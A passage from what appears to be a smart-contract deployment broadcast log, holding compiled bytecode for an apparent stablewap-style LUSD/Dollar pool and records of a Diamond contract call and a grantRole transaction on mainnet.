6152265760051b6102c001516106605110156117185760306106a0527f5769746864726177616c20726573756c74656420696e20666577657220636f696106c0527f6e73207468616e206578706563746564000000000000000000000000000000006106e0526106a0506106a051806106c001601f825f031636823750506308c379a061066052602061068052601f19601f6106a051011660440161067cfd5b610420516007811161522657610660518160051b610440015260018101610420525061068051604052610660516060526103c051608052611757612b55565b600101818118611631575b505033604052600435606052611776614f3d565b6025546040526117876106c0613984565b6106c0604061068060408360045afa50506022546106c0526fffffffffffffffffffffffffffffffff6106c051166106e0526106e051610400516106e0516004358082028115838383041417156152265790509050048082038281116152265790509050610740526106c05161012052602454610140526106a05161016052611811610700613dc6565b610700516107605260406040604061074060045afa50611832610720612952565b61072051602255426106a051101561186a57426106a052610680516040526106a051606052611862610700612952565b610700516025555b337f347ad828e58cbe534d8f6b67985d791360756b18f0d95fd9f197a66cc46480ea6060806107005280610700015f610420518083528060051b5f82600881116152265780156118d457905b8060051b61044001518160051b6020880101526001018181186118b6575b50508201602001915050905081019050806107205280610700015f5f82525f5f5f6008811161522657801561191b57905b5f8160051b602087010152600101818118611905575b505081016020019050905081019050600435610400510361074052610700a26103e0511561194b5761194b614faa565b6020806107005280610700015f610420518083528060051b5f826008811161522657801561199357905b8060051b61044001518160051b602088010152600101818118611975575b5050820160200191505090508101905061070060035f55f35b5f546002146152265760025f556119c1614faa565b60035f55005b6fffffffffffffffffffffffffffffffff60043560195481101561522657601a01541660405260206040f35b60043560195481101561522657601a015460801c60405260206040f35b611a1b6103e061323c565b6103e0516103c052611a2e610500612d26565b610500805160208160051b0180610860828560045afa50505050611a53610620613055565b610620805160208160051b0180610980828560045afa50505050610240604061024061086060045afa50611a88610740613188565b610740805160208160051b01806103e0828560045afa505050506103e05160208160051b01806040826103e060045afa5050506103c05161016052611ace610520613347565b610520516105005260206103e05160208160051b01806040826103e060045afa5050506103c051610160526105005161018052611b0c6105206139a9565b61052060043581518110156152265760051b60208201019050f35b5f5460021461522657602060043560195481101561522657601a015461012052602354610140526fffffffffffffffffffffffffffffffff6025541661016052611b72610200613dc6565b610200f35b5f54600214615226576020602254610120526024546101405260255460801c61016052611ba5610200613dc6565b610200f35b6004358060a01c6152265760c0523360405260c051606052602435608052611bd06151aa565b600160e052602060e0f35b6004358060a01c6152265760c0526024358060a01c6152265760e05260c05160405260e051606052604435608052611c116151aa565b602760c0516020525f5260405f2080336020525f5260405f20905054610100527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101005114611cc8576101005160443580820382811161522657905090506101205261012051602760c0516020525f5260405f2080336020525f5260405f209050553360c0517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92561012051610140526020610140a35b6001610120526020610120f35b6004358060a01c615226576040526024356027336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f35b6004358060a01c61522657610120526024358060a01c61522657610140526084358060081c61522657610160526101205115615226576064354211615226576029610120516020525f5260405f2054610180525f60026101c0527f19010000000000000000000000000000000000000000000000000000000000006101e0526101c0805160208201836103200181518152505080830192505050611de2610200615117565b610200518161032001526020810190507f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c961024052610120516102605261014051610280526044356102a052610180516102c0526064356102e05260c061022052610220805160208201209050816103200152602081019050806103005261030090508051602082012090506101a052610120513b15611fab575f604060a46102603760406102405261024080516020820183610320018281848460045afa50505080830192505050610160516102a0526102a0601f810180516102e0525060016102c0526102c09050805160208201836103200181518152505080830192505050806103005261030090506020815101806101c0828460045afa5050507f1626ba7e0000000000000000000000000000000000000000000000000000000061012051631626ba7e6102405260406101a051610260528061028052806102600160206101c051018082826101c060045afa50508051806020830101601f825f03163682375050601f19601f82516020010116905081015050602061024060c461025c845afa611f93573d5f5f3e3d5ffd5b60203d10615226576102409050511861522657611feb565b610120515f610240526101a0516101c052610160516101e05260a4356102005260c43561022052602061024060806101c060015afa506102405118615226575b6044356027610120516020525f5260405f2080610140516020525f5260405f20905055600161018051016029610120516020525f5260405f205561014051610120517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256044356101c05260206101c0a360016101c05260206101c0f35b6020612075610120615117565b610120f35b60043580600f0b81186152265760405260243580600f0b811861522657606052602060206154335f395f5163e31593d8608052602060806004609c845afa6120c4573d5f5f3e3d5ffd5b60203d10615226576080518060a01c6152265760c05260c09050516383aa796a60e0526040516101005260605161012052604435610140523061016052602060e0608460fc845afa612118573d5f5f3e3d5ffd5b60203d106152265760e09050f35b60043580600f0b81186152265760405260243580600f0b811861522657606052602060206154335f395f5163e31593d8608052602060806004609c845afa612170573d5f5f3e3d5ffd5b60203d10615226576080518060a01c6152265760c05260c0905051630c601c2c60e0526040516101005260605161012052604435610140523061016052602060e0608460fc845afa6121c4573d5f5f3e3d5ffd5b60203d106152265760e09050f35b60243580600f0b811861522657610ae05260206004356103c052610ae0516103e0526121ff610b00614a57565b610b00f35b5f546002146152265760285460405260206040f35b5f546002146152265761222d6103e061323c565b6103e0516103c052612240610500612d26565b610500805160208160051b0180610860828560045afa50505050612265610620613055565b610620805160208160051b0180610980828560045afa50505050610240604061024061086060045afa5061229a610740613188565b610740805160208160051b01806103e0828560045afa505050506103e05160208160051b01806040826103e060045afa5050506103c051610160526122e0610520613347565b610520516105005261050051670de0b6b3a7640000810281670de0b6b3a764000082041861522657905060285480156152265780820490509050610520526020610520f35b600435600401600881351161522657803560208160051b0180836040375050506024358060011c6152265761016052602060206154335f395f5163e31593d8610180526020610180600461019c845afa612381573d5f5f3e3d5ffd5b60203d1061522657610180518060a01c615226576101c0526101c090505163fb79eb276101e0526060806102005280610200015f6040518083528060051b5f82600881116152265780156123ee57905b8060051b606001518160051b6020880101526001018181186123d1575b50508201602001915050905081019050610160516102205230610240525060206101e06101846101fc845afa612426573d5f5f3e3d5ffd5b60203d10615226576101e09050f35b606461244160c061323c565b60c0510460e052602060e0f35b602061245a60c061323c565b60c0f35b602061246b6101e0613055565b6101e060043581518110156152265760051b60208201019050f35b602080610300526124986101e0613055565b6101e081610300015f82518083528060051b5f82600881116152265780156124db57905b8060051b6020880101518160051b6020880101526001018181186124bc575b505082016020019150509050905081019050610300f35b60208061036052612504610240612d26565b61024081610360015f82518083528060051b5f826008811161522657801561254757905b8060051b6020880101518160051b602088010152600101818118612528575b505082016020019150509050905081019050610360f35b60043580600f0b81186152265760405260243580600f0b811861522657606052602060206154335f395f5163e31593d8608052602060806004609c845afa6125a8573d5f5f3e3d5ffd5b60203d10615226576080518060a01c6152265760c05260c090505163a63530bd60e05260405161010052606051610120523061014052602060e0606460fc845afa6125f5573d5f5f3e3d5ffd5b60203d106152265760e09050f35b60206154335f395f5163f851a44060c052602060c0600460dc845afa61262b573d5f5f3e3d5ffd5b60203d106152265760c0518060a01c6152265761010052610100905051331861522657600e5462015180810181811061522657905042106152265742620151808101818110615226579050602435106152265761268860e061323c565b60e05160c0526004356064810281606482041861522657905060e052600435156126ba57620f423f60043511156126bc565b5f5b156152265760c05160e051106126ec5760c051600a810281600a82041861522657905060e0511161522657612708565b60c05160e051600a810281600a82041861522657905010615226575b60c051600c5560e051600d5542600e55602435600f557fa2b71ec6df949300b59aab36b55e189697b750119dd349fcfa8c0f779e83c25460c0516101005260e051610120524261014052602435610160526080610100a1005b60206154335f395f5163f851a44060c052602060c0600460dc845afa612789573d5f5f3e3d5ffd5b60203d106152265760c0518060a01c61522657610100526101009050513318615226576127b660e061323c565b60e05160c05260c051600c5560c051600d5542600e5542600f557f46e22fb3709ad289f62ce63d469248536dbc78d82b84a3d7e74ad606dc20193860c05160e0524261010052604060e0a1005b60206154335f395f5163f851a440604052602060406004605c845afa61282b573d5f5f3e3d5ffd5b60203d10615226576040518060a01c61522657608052608090505133186152265764012a05f2006004351161522657600435600a556802b5e3af16b188000060243560043580820281158383830414171561522657905090501161522657602435600b557f750d10a7f37466ce785ee6bcb604aac543358db42afbcc332a3c12a49c80bf6d6040600460403760406040a1005b60206154335f395f5163f851a440604052602060406004605c845afa6128e6573d5f5f3e3d5ffd5b60203d10615226576040518060a01c6152265760805260809050513318615226576024356004350215615226576004356023556024356024557f68dc4e067dff1862b896b7a0faf55f97df1a60d0aaa79481b69d675f2026a28c6040600460403760406040a1005b5f5ffd5b6fffffffffffffffffffffffffffffffff60405111615226576fffffffffffffffffffffffffffffffff606051116152265760605160801b60405117815250565b602060405160206154535f395f518110156152265760051b6080016153f3015f395f516370a0823160e0523061010052602060e0602460fc845afa6129da573d5f5f3e3d5ffd5b60203d106152265760e090505160c05260a051612af6576060511561522657602060405160206154535f395f518110156152265760051b6080016153f3015f395f516323b872dd60e05260805161010052306101205260605161014052602060e0606460fc5f855af1612a4f573d5f5f3e3d5ffd5b3d612a6657803b1561522657600161016052612a7e565b60203d106152265760e0518060011c61522657610160525b6101609050511561522657602060405160206154535f395f518110156152265760051b6080016153f3015f395f516370a0823160e0523061010052602060e0602460fc845afa612ad0573d5f5f3e3d5ffd5b60203d106152265760e090505160c051808203828111615226579050905060c052612b27565b60c0516040516001548110156152265760020154808203828111615226579050905060c05260605160c05110615226575b60405160015481101561522657600201805460c051808201828110615226579050905081555060c051815250565b608051156152265760206156935f395f51612c1e576040516001548110156152265760020180546060518082038281116152265790509050815550602060405160206154535f395f518110156152265760051b6080016153f3015f395f5163a9059cbb60a05260805160c05260605160e052602060a0604460bc5f855af1612bdf573d5f5f3e3d5ffd5b3d612bf657803b1561522657600161010052612c0e565b60203d106152265760a0518060011c61522657610100525b6101009050511561522657612d24565b602060405160206154535f395f518110156152265760051b6080016153f3015f395f516370a0823160c0523060e052602060c0602460dc845afa612c64573d5f5f3e3d5ffd5b60203d106152265760c090505160a052602060405160206154535f395f518110156152265760051b6080016153f3015f395f5163a9059cbb60c05260805160e05260605161010052602060c0604460dc5f855af1612cc4573d5f5f3e3d5ffd5b3d612cdb57803b1561522657600161012052612cf3565b60203d106152265760c0518060011c61522657610120525b610120905051156152265760a051606051808203828111615226579050905060405160015481101561522657600201555b565b60206156b35f395f5160208160051b01806156b360403950505f60206154135f395f516008811161522657801561303a57905b8061016052600160206101605160206155735f395f518110156152265760051b6101a0016153f3015f395f5118612db65760206101605160206157d35f395f518110156152265760051b610400016153f3015f395f511515612db8565b5f5b612ee757600360206101605160206155735f395f518110156152265760051b6101a0016153f3015f395f511861302f57670de0b6b3a7640000610160516040518110156152265760051b6060015160206101605160206154535f395f518110156152265760051b6080016153f3015f395f516307a2d13a6101805260206101605160206158f35f395f518110156152265760051b610520016153f3016101a0396020610180602461019c845afa612e71573d5f5f3e3d5ffd5b60203d106152265761018090505180820281158383830414171561522657905090506020610160516020615a135f395f518110156152265760051b610640016153f3015f395f51808202811583838304141715615226579050905004610160516040518110156152265760051b6060015261302f565b60206101605160206157d35f395f518110156152265760051b610400016153f3015f395f5173ffffffffffffffffffffffffffffffffffffffff811690508060a01c615226575a7fffffffff0000000000000000000000000000000000000000000000000000000060206101605160206157d35f395f518110156152265760051b610400016153f3015f395f51166101e05260206101c0526101c05060206102206101c0516101e08585fa90509050612fa2573d5f5f3e3d5ffd5b3d602081183d60201002186102005261020080516101805260208101516101a0525060206101805118615226576101a0516101805160200360031b1c6101c052670de0b6b3a7640000610160516040518110156152265760051b606001516101c051808202811583838304141715615226579050905004610160516040518110156152265760051b606001525b600101818118612d59575b505060405160208160051b01808382604060045afa50505050565b5f6040525f610160525f60206154135f395f516008811161522657801561316d57905b806101805260206156935f395f516130c557610180516001548110156152265760020154610180516010548110156152265760110154808203828111615226579050905061016052613143565b60206101805160206154535f395f518110156152265760051b6080016153f3015f395f516370a082316101a052306101c05260206101a060246101bc845afa613110573d5f5f3e3d5ffd5b60203d10615226576101a09050516101805160105481101561522657601101548082038281116152265790509050610160525b6040516007811161522657610160518160051b606001526001810160405250600101818118613078575b505060405160208160051b01808382604060045afa50505050565b5f610280525f60206154135f395f516008811161522657801561321f57905b806103a052610280516007811161522657670de0b6b3a76400006103a0516040518110156152265760051b606001516103a051610160518110156152265760051b61018001518082028115838383041417156152265790509050048160051b6102a001526001810161028052506001018181186131a7575b50506102805160208160051b0180838261028060045afa50505050565b600f54604052600d5460605260405142106132605760605181525061334556613345565b600c54608052600e5460a052608051606051116132e257608051606051608051034260a0518082038281116152265790509050808202811583838304141715615226579050905060405160a051808203828111615226579050905080156152265780820490509050808203828111615226579050905081525061334556613345565b608051608051606051034260a0518082038281116152265790509050808202811583838304141715615226579050905060405160a05180820382811161522657905090508015615226578082049050905080820182811061522657905090508152505b565b5f610180525f6040516008811161522657801561339157905b8060051b606001516101a052610180516101a051808201828110615226579050905061018052600101818118613360575b5050610180516133a4575f8152506135bd565b610180516101a0526101605160206153f35f395f5180820281158383830414171561522657905090506101c0525f60ff905b806101e0526101a051610200525f6040516008811161522657801561343f57905b8060051b6060015161022052610200516101a05180820281158383830414171561522657905090506102205180156152265780820490509050610200526001018181186133f7575b50506102005160206153f35f395f5160206153f35f395f510a80156152265780820490509050610200526101a0516102205260646101c051610180518082028115838383041417156152265790509050046102005160206153f35f395f51808202811583838304141715615226579050905080820182811061522657905090506101a051808202811583838304141715615226579050905060646101c051606481038181116152265790506101a051808202811583838304141715615226579050905004600160206153f35f395f51016102005180820281158383830414171561522657905090508082018281106152265790509050801561522657808204905090506101a052610220516101a05111613582576001610220516101a0518082038281116152265790509050116135ad576101a05183525050506135bd566135ad565b60016101a051610220518082038281116152265790509050116135ad576101a05183525050506135bd565b6001018181186133d65750505f5ffd5b565b60605160405114615226575f606051126152265760206154135f395f516060511215615226575f604051126152265760206154135f395f516040511215615226576101c051610200526101e0516102205260603661024037610220516102a0526102005160206153f35f395f5180820281158383830414171561522657905090506102c0525f6008905b806102e05260206154135f395f516102e051186136655761371f565b6040516102e0511861367d57608051610260526136ab565b6060516102e05114613714576102e05160a0518110156152265760051b60c00151610260526136ab56613714565b61024051610260518082018281106152265790509050610240526102a0516102205180820281158383830414171561522657905090506102605160206153f35f395f518082028115838383041417156152265790509050801561522657808204905090506102a0525b600101818118613649575b50506102a051610220518082028115838383041417156152265790509050606481028160648204186152265790506102c05160206153f35f395f518082028115838383041417156152265790509050801561522657808204905090506102a0526102405161022051606481028160648204186152265790506102c0518015615226578082049050905080820182811061522657905090506102e05261022051610300525f60ff905b80610320526103005161028052610300516103005180820281158383830414171561522657905090506102a0518082018281106152265790509050610300518060011b818160011c186152265790506102e0518082018281106152265790509050610220518082038281116152265790509050801561522657808204905090506103005261028051610300511161388757600161028051610300518082038281116152265790509050116138b2576103005183525050506138c2566138b2565b600161030051610280518082038281116152265790509050116138b2576103005183525050506138c2565b6001018181186137c75750505f5ffd5b565b600b5460a0526402540be40060a051116138e357608051815250613982565b60405160605180820182811061522657905090506fffffffffffffffffffffffffffffffff8111615226576002810a905060c0526402540be4006402540be40060a051038060021b818160021c186152265790506040518082028115838383041417156152265790509050606051808202811583838304141715615226579050905060c051801561522657808204905090500160805160a05102048152505b565b6fffffffffffffffffffffffffffffffff60405116815260405160801c602082015250565b60206153f35f395f5161016051026101a05260206153f35f395f5160206153f35f395f510a61018051046101c0525f60206154135f395f5160088111615226578015613a4357905b806101e0526101c0516101805180820281158383830414171561522657905090506101e0516040518110156152265760051b60600151801561522657808204905090506101c0526001018181186139f1575b50505f6101e05260646101a05160405115615226575f60051b6060015180820281158383830414171561522657905090500461030052600160078101905b806103205260206153f35f395f516103205118613a9d57613b57565b6101e051600781116152265761030051610320516040518110156152265760051b606001516101c05160405115615226575f60051b606001518082028115838383041417156152265790509050048082018281106152265790509050670de0b6b3a7640000810281670de0b6b3a7640000820418615226579050610300516101c0518082018281106152265790509050801561522657808204905090508160051b6102000152600181016101e05250600101818118613a81575b50506101e05160208160051b018083826101e060045afa50505050565b6040516060527ffffffffffffffffffffffffffffffffffffffffffffffffdc0d0570925a462d760405113613bac575f815250613dc4565b680755bf798b4a1bf1e46040511315613c1b5760106080527f7761645f657870206f766572666c6f770000000000000000000000000000000060a0526080506080518060a001601f825f031636823750506308c379a06040526020606052601f19601f6080510116604401605cfd5b6503782dace9d9604051604e1b056060526b8000000000000000000000006bb17217f7d1cf79abc9e3b39860605160601b050160601d6080526bb17217f7d1cf79abc9e3b39860805102606051036060526d02d16720577bd19bf614176fe9ea6060516c10fe68e7fd37d0007b713f7650606051010260601d0160a05279d835ebba824c98fb31b83b2ca45c0000000000000000000000006060516e0587f503bb6ea29d25fcb74019645060a0516d04a4fd9f2a8b96949216d2255a6c60605160a05101030260601d01020160c0526d0277594991cfc85f6e2461837cd96060516c240c330e9fb2d9cbaf0fd5aafc606051030260601d0160e0526d1a521255e34f6a5061b25ef1c9c460605160e0510260601d0360e0526db1bbb201f443cf962f1a1d3db4a560605160e0510260601d0160e0526e02c72388d9f74f51a9331fed693f1560605160e0510260601d0360e0526e05180bb14799ab47a8a8cb2a527d5760605160e0510260601d0160e05260e05160c051056101005274029d9dc38563c32e5c2f6dc192ee70ef65f9978af3610100510260805160c3035f8112615226571c8152505b565b6fffffffffffffffffffffffffffffffff6101205116610180526101205160801c6101a05242610160511015613ec65761014051670de0b6b3a764000061016051420302048060ff1c615226577f80000000000000000000000000000000000000000000000000000000000000008114615226575f03604052613e4a6101e0613b74565b6101e0516101c052670de0b6b3a7640000610180516101c05180670de0b6b3a764000003670de0b6b3a7640000811161522657905080820281158383830414171561522657905090506101a0516101c0518082028115838383041417156152265790509050808201828110615226579050905004815250613ece565b6101a0518152505b565b602554604052613ee16104e0613984565b6104e060406104a060408360045afa505060195460208160051b015f81601f0160051c60098111615226578015613f2d57905b80601901548160051b6104e00152600101818118613f14575b505050506104e05160208160051b0180610600826104e060045afa5050506103405160208160051b018060408261034060045afa50505061046051610160526104805161018052613f7f6108406139a9565b610840805160208160051b0180610720828560045afa505050505f6008905b806108405260206153f35f395f51600181038181116152265790506108405118613fc757614096565b61084051610720518110156152265760051b61074001511561408b5761084051610720518110156152265760051b6107400151671bc16d674ec80000818118671bc16d674ec800008310021890506108a052610840516104e0518110156152265760051b610500015161012052602354610140526104a0516101605261404e610860613dc6565b610860516108c0526040604060406108a060045afa5061406f610880612952565b6108805161084051610600518110156152265760051b61062001525b600101818118613f9e575b50506106005160208160051b015f81601f0160051c600981116152265780156140d457905b8060051b610600015181601901556001018181186140bb575b5050505060225461084052610480516108a0526108405161012052602454610140526104c05161016052614109610860613dc6565b610860516108c0526040604060406108a060045afa5061412a610880612952565b610880516022555f6002905b80610860524261086051600181116152265760051b6104a00151101561416c574261086051600181116152265760051b6104a001525b6001018181186141365750506104a0516040526104c051606052614191610860612952565b61086051602555565b6141a5610c2061323c565b610c2051610c00526109805160208160051b018060408261098060045afa505050610c0051610160526141d9610c40613347565b610c4051610c2052610bc051604052610be051606052610960516080526109805160208160051b018060a08261098060045afa505050610c00516101c052610c20516101e05261422a610c606135bf565b610c6051610c4052610be051610980518110156152265760051b6109a00151610c4051808203828111615226579050905060018103818111615226579050610c60526402540be400610c6051610bc051610980518110156152265760051b6109a0015161096051808201828110615226579050905060011c604052610be051610980518110156152265760051b6109a00151610c4051808201828110615226579050905060011c606052600a546080526142e5610ca06138c4565b610ca051808202811583838304141715615226579050905004610c8052610c6051610c80518082038281116152265790509050670de0b6b3a7640000810281670de0b6b3a7640000820418615226579050610be051610aa0518110156152265760051b610ac0015180156152265780820490509050610c6052610be051601054811015615226576011018054610be051610aa0518110156152265760051b610ac001516402540be400610c805164012a05f20081028164012a05f20082041861522657905004670de0b6b3a7640000810281670de0b6b3a76400008204186152265790500480820182811061522657905090508155506109805160208160051b0180610ca08261098060045afa50505061096051610bc051610ca0518110156152265760051b610cc00152610c4051610be051610ca0518110156152265760051b610cc00152610ca05160208160051b018061034082610ca060045afa505050610c005161046052610c20516104805261445d613ed0565b610c6051815250565b610e0051610de0511461522657610e20511561522657614487610fc0612d26565b610fc0805160208160051b0180610ea0828560045afa505050506144ac6110e0613055565b6110e0805160208160051b0180610fc0828560045afa50505050610ea05160208160051b0180604082610ea060045afa505050610fc05160208160051b018061016082610fc060045afa505050614504611200613188565b611200805160208160051b01806110e0828560045afa50505050610de051604052610e2051606052610dc051608052610e805160a052614545611220612993565b6112205161120052610de0516110e0518110156152265760051b6111000151670de0b6b3a764000061120051610de051610ea0518110156152265760051b610ec0015180820281158383830414171561522657905090500480820182811061522657905090506112205261122051610960526110e05160208160051b0180610980826110e060045afa505050610ea05160208160051b0180610aa082610ea060045afa505050610de051610bc052610e0051610be05261460661126061419a565b6112605161124052610e40516112405110156146a657602e611260527f45786368616e676520726573756c74656420696e20666577657220636f696e73611280527f207468616e2065787065637465640000000000000000000000000000000000006112a05261126050611260518061128001601f825f031636823750506308c379a061122052602061124052601f19601f61126051011660440161123cfd5b610e005160405261124051606052610e60516080526146c3612b55565b337f8b3e96f2b889fa771c53c981b40daf005f63f637f1869f707052d15a3dd97140610de051611260526112005161128052610e00516112a052611240516112c0526080611260a261124051815250565b6103c05160208160051b01806040826103c060045afa5050506104e05160208160051b0180610160826104e060045afa505050614752610740613188565b610740805160208160051b0180610620828560045afa505050506106205160208160051b018060408261062060045afa5050506106005161016052614798610740613347565b61074051815250565b5f606051126152265760206154135f395f516060511215615226576060366101c0376101a0516102205260405160206153f35f395f518082028115838383041417156152265790509050610240525f6008905b806102605260206154135f395f516102605118614810576148b2565b60605161026051146148a757610260516080518110156152265760051b60a001516101e05261483e566148a7565b6101c0516101e05180820182811061522657905090506101c052610220516101a05180820281158383830414171561522657905090506101e05160206153f35f395f51808202811583838304141715615226579050905080156152265780820490509050610220525b6001018181186147f4575b5050610220516101a0518082028115838383041417156152265790509050606481028160648204186152265790506102405160206153f35f395f51808202811583838304141715615226579050905080156152265780820490509050610220526101c0516101a0516064810281606482041861522657905061024051801561522657808204905090508082018281106152265790509050610260526101a051610280525f60ff905b806102a052610280516102005261028051610280518082028115838383041417156152265790509050610220518082018281106152265790509050610280518060011b818160011c186152265790506102605180820182811061522657905090506101a05180820382811161522657905090508015615226578082049050905061028052610200516102805111614a1a5760016102005161028051808203828111615226579050905011614a4557610280518352505050614a5556614a45565b60016102805161020051808203828111615226579050905011614a4557610280518352505050614a55565b60010181811861495a5750505f5ffd5b565b614a6261042061323c565b6104205161040052614a75610540612d26565b610540805160208160051b0180610420828560045afa505050506104205160208160051b01806108a08261042060045afa505050614ab4610660613055565b610660805160208160051b01806109c0828560045afa5050505061024060406102406108a060045afa50614ae9610780613188565b610780805160208160051b0180610540828560045afa505050506105405160208160051b018060408261054060045afa5050506104005161016052614b2f610680613347565b610680516106605260285461068052610660516103c051610660518082028115838383041417156152265790509050610680518015615226578082049050905080820382811161522657905090506106a052610400516040526103e0516060526105405160208160051b018060808261054060045afa5050506106a0516101a052614bbb6106e06147a1565b6106e0516106c052600160206153f35f395f510360021b60206153f35f395f51600a5402046106e0526105405160208160051b01806107008261054060045afa50505060206153f35f395f5160011b610660516106a05180820182811061522657905090500461082052608036610840375f6008905b806108c05260206154135f395f516108c05118614c4d57614daa565b5f610840526108c051610540518110156152265760051b6105600151610860526103e0516108c05118614cdf57610860516106a051808202811583838304141715615226579050905061066051801561522657808204905090506106c051808203828111615226579050905061084052610860516106c051808201828110615226579050905060011c61088052614d2b565b61086051610860516106a0518082028115838383041417156152265790509050610660518015615226578082049050905080820382811161522657905090506108405261086051610880525b61088051604052610820516060526106e051608052614d4b6108e06138c4565b6108e0516108a052610860516402540be4006108a0516108405180820281158383830414171561522657905090500480820382811161522657905090506108c051610700518110156152265760051b6107200152600101818118614c31575b50506103e051610700518110156152265760051b6107200151610400516040526103e0516060526107005160208160051b018060808261070060045afa5050506106a0516101a052614dfd6108e06147a1565b6108e05180820382811161522657905090506108c0526103e051610540518110156152265760051b61056001516106c0518082038281116152265790509050670de0b6b3a7640000810281670de0b6b3a76400008204186152265790506103e051610420518110156152265760051b6104400151801561522657808204905090506108e0526103e051610420518110156152265760051b61044001516108c05160018103818111615226579050670de0b6b3a7640000810281670de0b6b3a7640000820418615226579050046108c0526106c0516103e051610540518110156152265760051b61056001526108c05181526108e0516108c051808203828111615226579050905060208201526105405160208160051b016040830181818361054060045afa50505050610400516101608201526106a05161018082015250565b602854606051808203828111615226579050905060285560266040516020525f5260405f20805460605180820382811161522657905090508155505f6040517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60605160805260206080a3565b60206154335f395f5163cab4d3db610160526020610160600461017c845afa614fd5573d5f5f3e3d5ffd5b60203d1061522657610160518060a01c615226576101a0526101a0905051610140526101405161500457615115565b60105460208160051b015f81601f0160051c6009811161522657801561503f57905b80601001548160051b6101600152600101818118615026575b505050505f60206154135f395f51600881116152265780156150d257905b806102805261028051610160518110156152265760051b6101800151156150c7576102805160405261028051610160518110156152265760051b6101800151606052610140516080526150ae612b55565b5f61028051610160518110156152265760051b61018001525b60010181811861505d575b50506101605160208160051b015f81601f0160051c6009811161522657801561511057905b8060051b610160015181601001556001018181186150f7575b505050505b565b6020615bf35f395f51461461519f577fd87cd6ef79d4e2b95e15ce8abf732db51ec771f1ca2edccf22a46c729ac564726060526020615bd36080397f1c54f243822e0e9a0a377610b81577e771b3efe79964e76636b0d5d10247950d60a0524660c0523060e0526020615c136101003960c060405260408051602082012090508152506151a8565b6020615c338239505b565b60266040516020525f5260405f208054608051808203828111615226579050905081555060266060516020525f5260405f20805460805180820182811061522657905090508155506060516040517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60805160a052602060a0a3565b5f80fd0299538309065752a30a809452480d1cfc52e90c008153c207076c533d0ad40ddb8c1550652081066c00dc059c4258c4011a053931ab5219c72554fd4d5001c90576a9cd3e255e455e604cd2156085b72df5de03f4651a4d01d20bff6567df02ca207a6529357750006705e2e7d26400f425ec0238621a1025fd0684b124f20518160ddd220405a9059cbb1baa4570a0823102372530c5408519ac05ddca3f43009d055e0d443f21266506fdde03013205a7256d0903fe85c66106570075258edfdd5f00a905ddc1f59d02dea5cc2b27d721d24590d2083719f3253644e515206805313ce56701be05081579a50c09851ddc3b01012605d505accf1d3de5bfa0b13302c60595d89b410178051be913a5010e057706db750e1765fee3f7f900b505095ea7b31cd54514f0597924860565bbea6b28be45907a016b1b7705b4b577ad00d0054903b0d1245e2523b872dd1bdb65687276531b27252969e04a157aa5551a65882761051405228800e8055409491a00c405015c28382803454a6e32c60e21857ecebe0002a0257e3db030035d85dd62ed3e025d45bb7b8b802219053c157e6426034576a2f0f0244e053df0212402d485f446c1d02435053db06dd8232565afb430120367a5841953f387181e185b184618541846183f1831190860a16576797065728300030a0023000000000000000000000000000000000000000000000000000000000000016000000000000000000000000000000000000000000000000000000000000001a0000000000000000000000000000000000000000000000000000000000000006400000000000000000000000000000000000000000000000000000000003d090000000000000000000000000000000000000000000000000000000004a817c8000000000000000000000000000000000000000000000000000000000000000a2500000000000000000000000000000000000000000000000000000000000001e0000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000000000000000000000000000000002a000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000000360000000000000000000000000000000000000000000000000000000000000000b4c5553442f446f6c6c6172000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4c555344446f6c6c61720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000005f98805a4e8be255a32880fdec7f6728c6568ba0000000000000000000000000b6919ef2ee4afc163bc954c5678e2bb570c2d10300000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + } + ], + "isFixedGasLimit": false + }, + { + "hash": "0x6ec39d56006098dfab8f892bf2584c2df0cdbbdba32790318b4e7a7bd3a1069b", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x115ac", + "value": "0x0", + "input": "0x1f7e8c7e000000000000000000000000cc68509f9ca0e1ed119eac7c468ec1b1c42f384f", + "nonce": "0x465", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xc140cd970fd44fbe40cd8cf44d599756778eb631c5c62bbd2e2f4791efbd31f1", + "transactionType": "CALL", + "contractName": null, + "contractAddress": "0x4da97a8b831c345dbe6d16ff7432df2b7b776d98", + "function": "grantRole(bytes32,address)", + "arguments": ["0x3a2e010201653e4743db35ee85e81b63eb19cf8948f24794ef2b4dba5ecf49c9", "0xED3084c98148e2528DaDCB53C56352e549C488fA"], + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0x4da97a8b831c345dbe6d16ff7432df2b7b776d98", + "gas": "0x125c8", + "value": "0x0", + "input": "0x2f2ff15d3a2e010201653e4743db35ee85e81b63eb19cf8948f24794ef2b4dba5ecf49c9000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa", + "nonce": "0x466", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": 